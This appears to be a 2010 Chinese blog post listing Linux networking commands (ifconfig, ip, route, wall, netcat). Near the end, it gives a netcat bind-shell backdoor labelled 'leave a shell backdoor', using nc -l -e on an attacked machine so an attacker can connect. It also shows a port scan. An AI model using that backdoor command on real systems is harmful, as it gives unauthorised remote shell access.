cmded – 提供免费VPN以及免费SSH和免费网站空间多项免费服务
转CHINAZ:国外优秀免费网站空间推荐
日本YCM提供15天免费的独立IP VPS
Xoom.it提供免费的PHP空间

现在的位置: 首页Linux>正文

Linux 网络设置命令
发表于:2010年11月24日  分类:Linux  1条评论  1791 views 

ifconfig 用于查看和更改网络接口的地址和参数
-interface 网络接口名,如eth0和eth1
up 激活
down 关闭
broadcast address 设置接口的广播地址
pointpoint 启动点对点方式
address 指定设备的IP地址
netmask address 设置子网掩码

ifconfig eth0 up   激活
ifconfig eth0 down 关闭
ifconfig eth0 192.168.1.55 netmask 255.255.255.0 broadcast 192.168.1.255 up
设置eth0的IP地址为.1.55 子网掩码255.255.255.0 广播地址.1.255 并且马上激活它

ifconfig eth1 mtu 9000 修改其MTU 内容
ifconfig eth1 192.168.0.1 设置网卡IP
ifconfig eth1 查看网卡
ifconfig eth1 -arp 禁止arp协议
ifconfig eth1 arp 开启arp协议
ifconfig eth1 hw ether 00:AA:BB:CC:DD:EE 修改MAC(修改硬件地址必须先关闭设备)

为一块网卡绑定多个IP地址
ifconfig eth0:0 192.168.78.25 netmask 255.255.255.0
ifconfig eth0:1 192.168.0.25 netmask255.255.255.0

启动promiscuous 模式
ifconfig eth0 promisc

配置计算机的loopback接口
ifconfig lo 127.0.0.1
route add -host 127.0.0.1 lo

ip iproute2软件包里的强大网络工具
语法:ip[operation][object][command]
operation:
-f: 选项后面接协议种类,如inet,inet6,link
-0: -family link缩写
-4: -family inet缩写
-6: -family inet6缩写
-o: 每行记录使用单行输出
-r: 查询域名解析系统
object:
address 地址
neighbour arp缓冲区条目
route 路由条目
rule 路由策略数据库中的规则
maddress 多播地址
mroute 多播路由缓冲条目
tunnel IP上的通道

ip link show
ip -s link show eth0 显示eth0相关信息
语法:ip link set dev NAME [arg]
arg:
up/down
arp on/off
multicast on/off
dynamic on/off
name NAME
txqlen NUMBER 改变设备传输队列长度
mtu 修改mtu
address LLADDRESS 修改MAC地址
broadcat LLADDRESS 修改数据链路层广播地址
peer LLADDRESS 修改对端数据链路层地址

ip link set mtu 2000

ip address add
ip address delete
ip address show
ip address flush

dev NAME
scope SCOPE_VAL: global: 全局有效;host:主机内部;
to PREFIX 列出和PREFIX匹配的地址
label PATTERN 匹配PATTERN的地址,PATTERN 是一个shell风格的正则表达式
dynamic和permanent 两个参数只使用与IPTV6.使用dynamic 显示动态IP;使用permanent,ip显示固定IP
tentative 只使用于iptv6 只列出没有通过重复地址检查的地址
primary和secondary  只列出主或从地址

local ADDRESS 本地地址
peer ADDRESS 点对点接口对端地址
broadcast ADDRESS 广播地址
label NAME 标签

ip address add local 192.168.1.1/24 broadcast+ dev eth0
ip address add local 192.168.1.1/28 broadcast- dev eth0
ip address add local 192.168.4.1/28 brd+ label eth0:1 dev eth0
ip address del 192.168.50.50/24 dev eth0

ip route show
ip route add
ip route change
ip route replace

via 下一条路由地址

ip route add 192.168.0.1/24 dev eth0
ip route add 192.168.10.0/24 via 192.168.5.100 dev eth0 增加通往外部的路由
ip route add default via 192.168.1.2 dev eth0 增加默认路由
ip route del 192.168.10.0/24 删除路由

route
route add -net 169.254.0.0 netmask 255.255.0.0 dev eth0 增加网关地址为169.254.0.0的路由
route add default gw 192.168.1.33 增加默认路由
route del -net 169.254.0.0 netmask 255.255.0.0 dev eth0 删除网关地址为169.254.0.0的路由
route del default gw 192.168.1.33 增加默认路由

write发送消息

write root pts/2

wall 广播消息
使用方法: wall回车-输入内容-Ctrl+D

netcat 通过使用TCP和UDP的网络连接去读写数据
-d 后台模式
-i secs 延迟时间
-p port 开启一个本地端口
-l 监听模式,自动开启一个端口
-r 随即本地和远程端口
-z 扫描时将输入输出关掉

netcat localhost 25 监听本地25端口
netcat -l -p 20000 本地主机的端口20000启动一个监听端口,来监听其他用户连接
netcat -vv -z -w 10 10.168.69.230 1-25  扫描端口1-25

留下shell后门
1.在被攻击机器上输入 nc -v -l -p 33 -e /bin/shell
2.攻击者在自己的机器上输入 netcat [IP][33]

Linux 网络设置命令:目前有1 条留言

  1. 系统之家 说道:

    谢谢分享好的资源

给我留言


快捷键:Crel+Enter

留言没头像?这里教你设置头像!

Switch to our mobile site